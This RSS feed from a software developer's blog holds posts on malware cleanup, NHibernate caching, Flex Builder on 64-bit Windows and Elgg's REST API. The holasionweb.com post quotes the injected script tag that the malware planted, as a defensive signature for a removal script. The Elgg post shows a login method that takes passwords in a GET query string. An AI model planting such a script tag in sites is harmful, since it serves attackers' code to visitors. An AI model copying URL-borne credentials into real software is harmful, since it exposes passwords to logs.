<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>Daniel Ansari's blog</title>
	<atom:link href="http://www.danielansari.com/wordpress/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.danielansari.com/wordpress</link>
	<description>Random software musings</description>
	<pubDate>Thu, 13 May 2010 16:03:29 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.6.2</generator>
	<language>en</language>
			<item>
		<title>holasionweb.com</title>
		<link>http://www.danielansari.com/wordpress/2010/05/holasionwebcom/</link>
		<comments>http://www.danielansari.com/wordpress/2010/05/holasionwebcom/#comments</comments>
		<pubDate>Wed, 12 May 2010 19:44:47 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Malware]]></category>

		<guid isPermaLink="false">http://www.danielansari.com/wordpress/?p=78</guid>
		<description><![CDATA[One of my Joomla sites on shared GoDaddy hosting got re-infected this morning with this malware, which runs this script from every php file that it infects:
&#60;script src=&#8221;http://holasionweb.com/oo.php&#8221;&#62;&#60;/script&#62;
Interestingly, none of my other GoDaddy sites have got infected yet (and this blog is running an older version of WordPress), including one other Joomla site on the [...]]]></description>
			<content:encoded><![CDATA[<p>One of my Joomla sites on shared GoDaddy hosting got re-infected this morning with this malware, which runs this script from every php file that it infects:</p>
<p>&lt;script src=&#8221;http://holasionweb.com/oo.php&#8221;&gt;&lt;/script&gt;</p>
<p>Interestingly, none of my other GoDaddy sites have got infected yet (and this blog is running an older version of WordPress), including one other Joomla site on the same server.</p>
<p>I modified my Gumblar removal script and added a regular expression to remove this malware.  It can be downloaded <a href="/wordpress/code/scan_files.zip">here</a>.</p>
<p>Unlike the script at Securi.net (at the time of writing), this script does not leave a blank line at the top of your files, thus, you won&#8217;t get any errors from your web applications - it leaves your files in exactly the same state as before the infection.  It also saves your original infected file with a .bak extension, just in case you need to keep the originals for some reason.  These can be deleted later, and will not affect your site.</p>
<h4>Instructions for use</h4>
<ol>
<li>Place the file scan_files.php at your web document root.</li>
<li>Invoke it with no parameters to run it in report mode, where no modifications will be made.  For the non-technical users, the address would be http://www.example.com/scan_files.php</li>
<li>Use scan_files.php?v=1 to run it in verbose mode.</li>
<li>Use scan_files.php?u=1 to run it in update mode, where the modifications will actually be made.</li>
<li>Use scan_files.php?u=1&amp;v=1 to run it in both update and verbose modes.</li>
</ol>
<p>Notes:</p>
<ul>
<li>The script skips files greater than approx 1 MB in size.</li>
<li>If the path to the file ends with /images/image.php or /images/gifimg.php, the script deletes it in update mode.  That&#8217;s because this was one of the signatures of the Gumblar malware.</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.danielansari.com/wordpress/2010/05/holasionwebcom/feed/</wfw:commentRss>
		</item>
		<item>
		<title>NHibernate caching solution for web farms</title>
		<link>http://www.danielansari.com/wordpress/2010/02/nhibernate-caching-solution-for-web-farms/</link>
		<comments>http://www.danielansari.com/wordpress/2010/02/nhibernate-caching-solution-for-web-farms/#comments</comments>
		<pubDate>Fri, 12 Feb 2010 16:08:24 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[NHibernate]]></category>

		<category><![CDATA[Open Source]]></category>

		<category><![CDATA[caching]]></category>

		<category><![CDATA[second level cache]]></category>

		<category><![CDATA[SQL cache dependency]]></category>

		<guid isPermaLink="false">http://www.danielansari.com/wordpress/?p=71</guid>
		<description><![CDATA[If your application uses NHibernate in a web farm, there is already a second-level cache provider that you ought to be familiar with: NHibernate.Caches.SysCache2, which supports expiration based on SQL table or command-based dependencies.  Whilst this is a decent solution, it does cause your whole cache region to be invalidated when data changes in the [...]]]></description>
			<content:encoded><![CDATA[<p>If your application uses NHibernate in a web farm, there is already a second-level cache provider that you ought to be familiar with: NHibernate.Caches.SysCache2, which supports expiration based on SQL table or command-based dependencies.  Whilst this is a decent solution, it does cause your whole cache region to be invalidated when data changes in the table.</p>
<p>It may be more ideal for you to invalidate the cache on a <em>per-object</em> basis, <em>i.e.</em>, if one web server in the farm receives a request that causes a cached object to change, the portion of the application running on that server should be able to expire that object from the cache of all other servers within that farm.</p>
<p>A technique that I have used somewhat successfully is a shared disk cache invalidation mechanism called <em>FileSysCache</em>, similar to the &#8220;File Update Model&#8221; discussed in this <a href="http://msdn.microsoft.com/en-us/library/ms972417.aspx">MSDN library article</a>.  Unlike the technique in that article, however, ours does not suffer from the issues arising from SQL Server trying to access the file system.  Our method creates a zero-length file on the shared disk, together with a CacheDependency to that file, for each cacheable object.  It deletes that file when the cache is invalidated for that object.  Thus, any other servers holding a cached copy of that object will have a CacheDependency on the same file, and their cached copies will expire.</p>
<p>This happens behind the scenes for you as an application developer.  NHibernate will call the relevant methods in the caching provider; all you need to know is that to expire the object across the web farm, you just need to evict it from the second level cache, using:</p>
<pre>session.Evict(obj)</pre>
<p>To configure FileSysCache, put the following into your web.config:</p>
<pre>  &lt;configSections&gt;
...
    &lt;section name="filesyscache" type="NHibernate.Caches.FileSysCache.FileSysCacheSectionHandler, NHibernate.Caches.FileSysCache" /&gt;</pre>
<p>and also:</p>
<pre>  &lt;filesyscache path="C:\Projects\NHibernate.Caches.FileSysCache.Tests\bin\Debug\Cache"&gt;
    &lt;cache region="foo" expiration="500" priority="4" /&gt;
  &lt;/filesyscache&gt;</pre>
<p>I meant to make this post a few years ago, so I hope the information here is still relevant, and I hope it&#8217;s better late than never.</p>
<p>The code, including unit tests, may be found <a href="/wordpress/code/NHibernate.Caches.FileSysCache.zip">here</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.danielansari.com/wordpress/2010/02/nhibernate-caching-solution-for-web-farms/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Adobe Flex Builder 3 problems in 64-bit Windows</title>
		<link>http://www.danielansari.com/wordpress/2010/02/adobe-flex-builder-3-problems-in-64-bit-windows/</link>
		<comments>http://www.danielansari.com/wordpress/2010/02/adobe-flex-builder-3-problems-in-64-bit-windows/#comments</comments>
		<pubDate>Fri, 12 Feb 2010 05:54:26 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Adobe Flex]]></category>

		<category><![CDATA[Open Source]]></category>

		<category><![CDATA[64 bit Windows]]></category>

		<category><![CDATA[configuration]]></category>

		<category><![CDATA[Flex]]></category>

		<category><![CDATA[project properties]]></category>

		<category><![CDATA[settings]]></category>

		<guid isPermaLink="false">http://www.danielansari.com/wordpress/?p=65</guid>
		<description><![CDATA[Making the move to Windows 7 Professional 64 brought about a plethora of problems, some minor and some not so minor.
Fortunately most of the troubles were shared with other developers, and information is there to be found using our favourite search engines.
If you&#8217;re a Flex developer, like me, you might not have as much luck.  [...]]]></description>
			<content:encoded><![CDATA[<p>Making the move to Windows 7 Professional 64 brought about a plethora of problems, some minor and some not so minor.</p>
<p>Fortunately most of the troubles were shared with other developers, and information is there to be found using our favourite search engines.</p>
<p>If you&#8217;re a Flex developer, like me, you might not have as much luck.  If you&#8217;ve downloaded the latest (stable) Flex SDK—3.4.1 at the time of this writing—it&#8217;s not possible to set up your &#8220;Installed Flex SDKs&#8221;, in order to set this SDK as the compiler default from the Preferences dialog.  That&#8217;s because of an issue on current x64 Windows where <a href="https://blogs.msdn.com/alejacma/archive/2009/08/11/controls-won-t-get-resized-once-the-nesting-hierarchy-of-windows-exceeds-a-certain-depth-x64.aspx">controls won&#8217;t get resized once the nesting hierarchy of windows exceeds a certain depth</a>, which was referred to from the <a href="http://cookbooks.adobe.com/post_Flex_Builder_3_on_Windows_Vista_64_bits_issues-12826.html">only useful information I could find about this specific issue</a>.  It&#8217;s also not possible to set many preferences, as certain project properties show up as blank, and certain buttons are missing.  It&#8217;s absolutely abysmal that Adobe hasn&#8217;t remedied these issues; how does it expect developers to do any serious Flex development on 64 bit Windows that&#8217;s becoming mainstream?</p>
<p>Fortunately, there is a workaround, at least for the issues that affected me.  The solution lies in having a working copy of Flex Builder on a 32-bit Windows platform.  Flex stores these preferences in %USERPROFILE%\My Documents\Flex Builder 3\.metadata ( %USERPROFILE% is the environment variable with a typical value of &#8220;C:\Documents and Settings\{username}&#8221; on Windows XP, and &#8220;C:\Users\{username}&#8221; on Windows 7), and subfolders therein.</p>
<p>To configure your installed Flex SDKs, first unzip your Flex SDK to &#8220;C:\Program Files (x86)\Adobe\Flex Builder 3\sdks&#8221; (or wherever it is on your system); there is a file at the top level called flex-sdk-description.xml.  Open this up and make a note of the &lt;name&gt; element.  Next, open the file &#8220;%USERPROFILE%\My Documents\Flex Builder 3\.metadata\.plugins\org.eclipse.core.runtime\.settings\com.adobe.flexbuilder.project.prefs&#8221;.  This is where you&#8217;ll insert the setting for com.adobe.flexbuilder.project.flex_sdks, making sure you use the SDK name noted earlier.  My entire file looks like this (without the line breaks before &#8220;\r\n&#8221;):</p>
<pre>#Wed Feb 10 17:49:32 EST 2010
eclipse.preferences.version=1
playerTrustFileCleaned30=true
com.adobe.flexbuilder.project.flex_sdks=&lt;?xml version\="1.0" encoding\="UTF-8"?&gt;\r\n&lt;sdks&gt;
\r\n&lt;sdk location\="C\:/Program Files (x86)/Adobe/Flex Builder 3/sdks/3.0.0" name\="Flex 3"/&gt;
\r\n&lt;sdk defaultSDK\="true" location\="C\:/Program Files (x86)/Adobe/Flex Builder 3/sdks/3.4.1" name\="Flex 3.4"/&gt;
\r\n&lt;sdk location\="C\:/Program Files (x86)/Adobe/Flex Builder 3/sdks/2.0.1" name\="Flex 2.0.1 Hotfix 3"/&gt;\r\n&lt;/sdks&gt;\r\n
flexBuilderVersion=3.0.194161</pre>
<p>That fixes the first problem.</p>
<p>My other main problem was that I needed to debug the Flex application, but I was unable to add the launch configuration under Run/Debug Settings of the project properties—the New, Duplicate, Edit, and Delete buttons are missing and cannot be activated via the Windows shortcut keys.  If your project is called ProjectX, you&#8217;ll need to have a file called &#8220;%USERPROFILE%\My Documents\Flex Builder  3\.metadata\.plugins\org.eclipse.debug.core\.launches\ProjectX.launch&#8221;.  For me, the .launches folder wasn&#8217;t there, so I copied it from my 32-bit system.  You can create the .launches folder manually, though not from Windows Explorer (you may have to use the command line).  My file looks like this:</p>
<pre>&lt;?xml version="1.0" encoding="UTF-8"?&gt;</pre>
<pre>&lt;launchConfiguration type="com.adobe.flexbuilder.debug.launchConfigurationType.flash"&gt;</pre>
<pre>&lt;stringAttribute key="com.adobe.flexbuilder.debug.ATTR_APPLICATION" value="src/ProjectX.mxml"/&gt;</pre>
<pre>&lt;stringAttribute key="com.adobe.flexbuilder.debug.ATTR_DEBUG_URL" value="http://localhost/abcde"/&gt;</pre>
<pre>&lt;stringAttribute key="com.adobe.flexbuilder.debug.ATTR_PROFILE_URL" value="C:\Projects\ProjectX\bin-debug\ProjectX.html"/&gt;</pre>
<pre>&lt;stringAttribute key="com.adobe.flexbuilder.debug.ATTR_PROJECT" value="ProjectX"/&gt;</pre>
<pre>&lt;stringAttribute key="com.adobe.flexbuilder.debug.ATTR_RUN_URL" value="C:\Projects\ProjectX\bin-debug\ProjectX.html"/&gt;</pre>
<pre>&lt;booleanAttribute key="com.adobe.flexbuilder.debug.ATTR_USE_DEFAULT_URLS" value="false"/&gt;</pre>
<pre>&lt;listAttribute key="org.eclipse.debug.core.MAPPED_RESOURCE_PATHS"&gt;</pre>
<pre>&lt;listEntry value="/ProjectX"/&gt;</pre>
<pre>&lt;listEntry value="/ProjectX/src/ProjectX.mxml"/&gt;</pre>
<pre>&lt;/listAttribute&gt;</pre>
<pre>&lt;listAttribute key="org.eclipse.debug.core.MAPPED_RESOURCE_TYPES"&gt;</pre>
<pre>&lt;listEntry value="4"/&gt;</pre>
<pre>&lt;listEntry value="1"/&gt;</pre>
<pre>&lt;/listAttribute&gt;</pre>
<pre>&lt;/launchConfiguration&gt;</pre>
<p>For any other properties, you can search for a relevant string in the .metadata folder of your 32-bit machine, then copy or create the appropriate file in your 64-bit system.  It&#8217;s a pain, but at least you&#8217;ll be able to get your work done.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.danielansari.com/wordpress/2010/02/adobe-flex-builder-3-problems-in-64-bit-windows/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Automatic removal of Gumblar/Martuz trojan</title>
		<link>http://www.danielansari.com/wordpress/2009/05/automatic-removal-of-gumblarmartuz-trojan/</link>
		<comments>http://www.danielansari.com/wordpress/2009/05/automatic-removal-of-gumblarmartuz-trojan/#comments</comments>
		<pubDate>Wed, 20 May 2009 04:08:44 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Malware]]></category>

		<category><![CDATA[Gumblar]]></category>

		<category><![CDATA[Martuz]]></category>

		<guid isPermaLink="false">http://www.danielansari.com/wordpress/?p=57</guid>
		<description><![CDATA[I won&#8217;t duplicate information contained on other websites, but I will refer to them here instead.
How your machine gets infected by Gumblar, or a &#8220;Gumblaroid&#8221; (Gumblar-type exploit) such as Martuz
http://blog.unmaskparasites.com/2009/05/07/gumblar-cn-exploit-12-facts-about-this-injected-script/
http://blog.unmaskparasites.com/2009/05/18/martuz-cn-is-a-new-incarnation-of-gumblar-exploit/
http://www.pcauthority.com.au/forums/yaf_postsm289075_A-nasty-virus-called-Gumblar.aspx
How to determine if your PC has the infection
http://www.dynamicdrive.com/forums/showthread.php?p=194695
These were the symptoms that I noticed on my PC:
1. My Visual Studio .NET 2005 was crashing a [...]]]></description>
			<content:encoded><![CDATA[<p>I won&#8217;t duplicate information contained on other websites, but I will refer to them here instead.</p>
<h3>How your machine gets infected by Gumblar, or a &#8220;Gumblaroid&#8221; (Gumblar-type exploit) such as Martuz</h3>
<p><a href="http://blog.unmaskparasites.com/2009/05/07/gumblar-cn-exploit-12-facts-about-this-injected-script/">http://blog.unmaskparasites.com/2009/05/07/gumblar-cn-exploit-12-facts-about-this-injected-script/</a><br />
<a href="http://blog.unmaskparasites.com/2009/05/18/martuz-cn-is-a-new-incarnation-of-gumblar-exploit/">http://blog.unmaskparasites.com/2009/05/18/martuz-cn-is-a-new-incarnation-of-gumblar-exploit/</a><br />
<a href="http://www.pcauthority.com.au/forums/yaf_postsm289075_A-nasty-virus-called-Gumblar.aspx">http://www.pcauthority.com.au/forums/yaf_postsm289075_A-nasty-virus-called-Gumblar.aspx</a></p>
<h3>How to determine if your PC has the infection</h3>
<p><a href="http://www.dynamicdrive.com/forums/showthread.php?p=194695">http://www.dynamicdrive.com/forums/showthread.php?p=194695</a></p>
<p>These were the symptoms that I noticed on my PC:</p>
<p>1. My Visual Studio .NET 2005 was crashing a lot, and I could not get any work done using it.<br />
2. In Firefox 3, each search result would initially redirect to a bogus ad page (I always open search results in a new tab), but clicking the search result once more would open the genuine page.<br />
3. I could not start cmd from the XP Start/Run menu item.</p>
<h3>How I removed this malware from my PC</h3>
<p>1. I installed and scanned my PC with Malwarebytes&#8217; Anti-Malware, which found the single file - in my case it was C:\WINDOWS\ukvvq.qnx - that was keeping the infection active. Manually deleting it, or letting Anti-Malware attempt to delete it, would delete it, but the file would reappear almost immediately. Don&#8217;t worry if Anti-Malware is unable to update its definitions online - this is another symptom of Gumblar - it still detects it, though as something else.<br />
2. I ran Hijackthis (I didn&#8217;t need a scan), chose &#8220;misc tools&#8221;, and chose &#8220;delete file on reboot&#8221; for this file (according to <a href="http://www.dynamicdrive.com/forums/showthread.php?p=194695">http://www.dynamicdrive.com/forums/showthread.php?p=194695</a>).<br />
3. I ran regedit and deleted the registry entry (according to <a href="http://www.dynamicdrive.com/forums/showthread.php?p=194695">http://www.dynamicdrive.com/forums/showthread.php?p=194695</a>).</p>
<p>That was it to remove it from my PC, voila! To protect my PC from re-infection, I disabled Adobe JavaScript according to <a href="http://www.pcauthority.com.au/forums/yaf_postsm289075_A-nasty-virus-called-Gumblar.aspx">http://www.pcauthority.com.au/forums/yaf_postsm289075_A-nasty-virus-called-Gumblar.aspx</a>.</p>
<p>Unfortunately, it seems that several people resorted to rebuilding their machines from scratch.</p>
<h3>How to remove the infection from a website</h3>
<p>If you manage websites using an FTP program, there is a chance that your sites have become infected. The first thing you must do is change the ftp passwords after your machine has been cleaned.</p>
<p>As yet, I am unaware of any automated script which removes the infection from a website, so I wrote my own and applied it to 5 of the websites that I manage that were infected.</p>
<p>I started off using the script by rad-one at <a href="http://blog.unmaskparasites.com/2009/05/07/gumblar-cn-exploit-12-facts-about-this-injected-script/comment-page-1/#comment-896">http://blog.unmaskparasites.com/2009/05/07/gumblar-cn-exploit-12-facts-about-this-injected-script/comment-page-1/#comment-896</a>.</p>
<p>I modified it heavily to use PHP regular expressions, to remove the gumblar modifications in html, php, and js files (it scans files with all extensions except .bak). Unlike rad-one&#8217;s detection script, this one yielded zero false positives for me, and eradicated the infection completely, as far as I can tell.</p>
<p>Here is what my script does:</p>
<p>1. Recurses through the whole website, excluding files and/or directories of your choosing.<br />
2. Applies regular expressions to remove the infection from all the files (except those with the .bak extension) in each directory.<br />
3. All modified files are backed up using the .bak extension.<br />
4. Removes all files with paths ending in /images/image.php or /images/gifimg.php.<br />
5. Runs in report mode by default, so you can see which files would be modified.<br />
6. Has a &#8220;verbose&#8221; option, so you can see how each file will be modified.</p>
<p>It does not change directory permissions. I haven&#8217;t got around to investigating that area yet.</p>
<p>You may download it <a href="/wordpress/code/scan_files.zip">here</a>. (Use at your own risk.)</p>
<h4>Instructions for use</h4>
<ol>
<li>Place the file scan_files.php at your web document root.</li>
<li>Invoke it with no parameters to run it in report mode, where no modifications will be made.</li>
<li>Use scan_files.php?v=1 to run it in verbose mode.</li>
<li>Use scan_files.php?u=1 to run it in update mode, where the modifications will actually be made.</li>
<li>Use scan_files.php?u=1&amp;v=1 to run it in both update and verbose modes.</li>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://www.danielansari.com/wordpress/2009/05/automatic-removal-of-gumblarmartuz-trojan/feed/</wfw:commentRss>
		</item>
		<item>
		<title>How to use the REST API in Elgg 1.1</title>
		<link>http://www.danielansari.com/wordpress/2008/12/how-to-use-the-rest-api-in-elgg-11/</link>
		<comments>http://www.danielansari.com/wordpress/2008/12/how-to-use-the-rest-api-in-elgg-11/#comments</comments>
		<pubDate>Wed, 10 Dec 2008 20:50:25 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Open Source]]></category>

		<category><![CDATA[api]]></category>

		<category><![CDATA[elgg]]></category>

		<category><![CDATA[rest]]></category>

		<guid isPermaLink="false">http://www.danielansari.com/wordpress/?p=12</guid>
		<description><![CDATA[The Elgg documentation describes the REST API rather superficially, yet provides no samples, and is now inaccurate for the recent versions of Elgg.
After a minor modification to your .htaccess file, using the REST API is very simple, and, in many cases, avoids the need to create individual files in your Elgg root directory to provide [...]]]></description>
			<content:encoded><![CDATA[<p>The <a href="http://www.elgg.org/">Elgg</a> documentation <a href="http://community.elgg.org/pg/pages/view/70/">describes the REST API</a> rather superficially, yet provides no samples, and is now inaccurate for the recent versions of Elgg.</p>
<p>After a minor modification to your .htaccess file, using the REST API is very simple, and, in many cases, avoids the need to create individual files in your Elgg root directory to provide custom functionality.</p>
<p>First, let&#8217;s look at how your API method would be called:</p>
<p><code>http://localhost:8080/elgg/pg/api/rest?method=login&amp;username=dansari&amp;password=apples</code></p>
<p>Let me explain technically what&#8217;s going on first. Any API calls in Elgg are handled by a <em>page handler,</em> <em>i.e.,</em> when the HTTP request begins with <code>/pg/...</code>, the .htaccess (containing <code>mod_rewrite</code> rules) tells Apache to use the Elgg file <code>engine/handlers/pagehandler.php</code> to handle the request. Elgg then determines which page handler to use, and invokes it. The REST API is known as an &#8220;API endpoint&#8221;. In this case, because the next part of the URL is <code>rest</code>, the API page handler passes control to the file <code>services/api/rest.php</code>.</p>
<p>The problem with the .htaccess that ships with Elgg is that it would cause the page handler to be invoked as <code>pagehandler.php?handler=api&amp;page=rest</code>, discarding the querystring entirely. <code>services/api/rest.php</code> actually expects the method parameters to be in the querystring, so to get this to work, we simply change the following line in .htaccess:</p>
<pre>RewriteRule ^pg\/([A-Za-z\_\-]+)\/(.*)$
engine/handlers/pagehandler.php?handler=$1&amp;page=$2</pre>
<p>to this:</p>
<pre>RewriteRule ^pg\/([A-Za-z\_\-]+)\/(.*)$
engine/handlers/pagehandler.php?handler=$1&amp;page=$2 [QSA]</pre>
<p>Here is the code for a sample REST method, which would be implemented via a plugin. For this example, the following file is located at <code>mod/rest_login/start.php</code> (<em>NB</em> I had to put a space character before the <code>?php</code> in line 1 for WordPress to render this listing):</p>
<link rel="stylesheet" href="http://www.danielansari.com/wordpress/wp-content/plugins/codeviewer/codeviewer.css" type="text/css" media="all" />
<ol class="codelist">
<li value="1" class="tab0 odd"><code><span style="color: #339933;">&lt;</span> ?php</code></li>
<li value="2" class="even">&nbsp;</li>
<li value="3" class="tab1 odd"><code><span style="color: #000000; font-weight: bold;">function</span> rest_login_init<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></code></li>
<li value="4" class="tab2 even"><code>expose_function<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&#8216;login&#8217;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&#8216;rest_login_handler&#8217;</span><span style="color: #339933;">,</span> <a href="http://www.php.net/array"><span style="color: #990000;">array</span></a><span style="color: #009900;">&#40;</span></code></li>
<li value="5" class="tab6 odd"><code><span style="color: #0000ff;">&quot;username&quot;</span> <span style="color: #339933;">=&gt;</span> <a href="http://www.php.net/array"><span style="color: #990000;">array</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;type&quot;</span> <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">&quot;string&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span></code></li>
<li value="6" class="tab6 even"><code><span style="color: #0000ff;">&quot;password&quot;</span> <span style="color: #339933;">=&gt;</span> <a href="http://www.php.net/array"><span style="color: #990000;">array</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;type&quot;</span> <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">&quot;string&quot;</span><span style="color: #009900;">&#41;</span></code></li>
<li value="7" class="tab6 odd"><code><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;GET&quot;</span><span style="color: #339933;">,</span> <span style="color: #000000; font-weight: bold;">false</span><span style="color: #339933;">,</span> <span style="color: #000000; font-weight: bold;">true</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></code></li>
<li value="8" class="tab1 even"><code><span style="color: #009900;">&#125;</span></code></li>
<li value="9" class="odd">&nbsp;</li>
<li value="10" class="tab1 even"><code><span style="color: #000000; font-weight: bold;">function</span> rest_login_handler<span style="color: #009900;">&#40;</span><span style="color: #000088;">$username</span><span style="color: #339933;">,</span> <span style="color: #000088;">$password</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></code></li>
<li value="11" class="tab2 odd"><code><span style="color: #000088;">$persistent</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;1&quot;</span><span style="color: #339933;">;</span></code></li>
<li value="12" class="tab2 even"><code><span style="color: #000088;">$result</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">false</span><span style="color: #339933;">;</span></code></li>
<li value="13" class="tab2 odd"><code><span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><a href="http://www.php.net/empty"><span style="color: #990000;">empty</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$username</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #339933;">!</span><a href="http://www.php.net/empty"><span style="color: #990000;">empty</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$password</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></code></li>
<li value="14" class="tab3 even"><code><span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$user</span> <span style="color: #339933;">=</span> authenticate<span style="color: #009900;">&#40;</span><span style="color: #000088;">$username</span><span style="color: #339933;">,</span><span style="color: #000088;">$password</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></code></li>
<li value="15" class="tab4 odd"><code><span style="color: #000088;">$result</span> <span style="color: #339933;">=</span> login<span style="color: #009900;">&#40;</span><span style="color: #000088;">$user</span><span style="color: #339933;">,</span> <span style="color: #000088;">$persistent</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></code></li>
<li value="16" class="tab3 even"><code><span style="color: #009900;">&#125;</span></code></li>
<li value="17" class="tab2 odd"><code><span style="color: #009900;">&#125;</span></code></li>
<li value="18" class="tab2 even"><code><span style="color: #b1b100;">return</span> <span style="color: #000088;">$result</span><span style="color: #339933;">;</span></code></li>
<li value="19" class="tab1 odd"><code><span style="color: #009900;">&#125;</span></code></li>
<li value="20" class="even">&nbsp;</li>
<li value="21" class="tab1 odd"><code><span style="color: #666666; font-style: italic;">// Add the plugin&#8217;s init function to the system&#8217;s init event</span></code></li>
<li value="22" class="tab1 even"><code>register_elgg_event_handler<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&#8216;init&#8217;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&#8217;system&#8217;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&#8216;rest_login_init&#8217;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></code></li>
<li value="23" class="odd">&nbsp;</li>
<li value="24" class="tab0 even"><code><span style="color: #000000; font-weight: bold;">?&gt;</span></code></li>
</ol>
<p>The important differences between what is stated in the Elgg documentation and here are:</p>
<ul>
<li>There is no <code>register_method</code> function.  Instead, use <code>expose_function</code> as in line 4.</li>
<li><code>"type"</code> must be specified for each parameter, as in lines 5-6.</li>
</ul>
<p>Finally, here is an excerpt from <code>engine/lib/api.php</code>, which explains the parameters in more detail:</p>
<link rel="stylesheet" href="http://www.danielansari.com/wordpress/wp-content/plugins/codeviewer/codeviewer.css" type="text/css" media="all" />
<ol class="codelist">
<li value="364" class="tab1 even"><code><span style="color: #666666; font-style: italic;">/**</span></code></li>
<li value="365" class="tab2 odd"><code><span style="color: #339933;">*</span> Expose an arbitrary <span style="color: #000000; font-weight: bold;">function</span> <span style="color: #b1b100;">as</span> an api call<span style="color: #339933;">.</span></code></li>
<li value="366" class="tab2 even"><code><span style="color: #339933;">*</span></code></li>
<li value="367" class="tab2 odd"><code><span style="color: #339933;">*</span> Limitations<span style="color: #339933;">:</span> Currently can not expose functions which expect objects<span style="color: #339933;">.</span></code></li>
<li value="368" class="tab2 even"><code><span style="color: #339933;">*</span></code></li>
<li value="369" class="tab2 odd"><code><span style="color: #339933;">*</span> <span style="color: #339933;">@</span>param string <span style="color: #000088;">$method</span> The api name to expose this <span style="color: #b1b100;">as</span><span style="color: #339933;">,</span> eg <span style="color: #0000ff;">&quot;myapi.dosomething&quot;</span></code></li>
<li value="370" class="tab2 even"><code><span style="color: #339933;">*</span> <span style="color: #339933;">@</span>param string <span style="color: #000088;">$function</span> Your <span style="color: #000000; font-weight: bold;">function</span> callback<span style="color: #339933;">.</span></code></li>
<li value="371" class="tab2 odd"><code><span style="color: #339933;">*</span> <span style="color: #339933;">@</span>param <a href="http://www.php.net/array"><span style="color: #990000;">array</span></a> <span style="color: #000088;">$parameters</span> Optional <a href="http://www.php.net/list"><span style="color: #990000;">list</span></a> of parameters in the same order <span style="color: #b1b100;">as</span> in your <span style="color: #000000; font-weight: bold;">function</span><span style="color: #339933;">,</span> with optional parameters last<span style="color: #339933;">.</span></code></li>
<li value="372" class="tab2 even"><code><span style="color: #339933;">*</span> &nbsp; &nbsp; &nbsp; This <a href="http://www.php.net/array"><span style="color: #990000;">array</span></a> should be in the format</code></li>
<li value="373" class="tab2 odd"><code><span style="color: #339933;">*</span> &nbsp; <span style="color: #0000ff;">&quot;variable&quot;</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/array"><span style="color: #990000;">array</span></a> <span style="color: #009900;">&#40;</span></code></li>
<li value="374" class="tab2 even"><code><span style="color: #339933;">*</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; type <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">&#8216;int&#8217;</span> <span style="color: #339933;">|</span> <span style="color: #0000ff;">&#8216;bool&#8217;</span> <span style="color: #339933;">|</span> <span style="color: #0000ff;">&#8216;float&#8217;</span> <span style="color: #339933;">|</span> <span style="color: #0000ff;">&#8217;string&#8217;</span> <span style="color: #339933;">|</span> <span style="color: #0000ff;">&#8216;array&#8217;</span></code></li>
<li value="375" class="tab2 odd"><code><span style="color: #339933;">*</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; required <span style="color: #339933;">=&gt;</span> <span style="color: #000000; font-weight: bold;">true</span> <span style="color: #009900;">&#40;</span><span style="color: #000000; font-weight: bold;">default</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">|</span> <span style="color: #000000; font-weight: bold;">false</span></code></li>
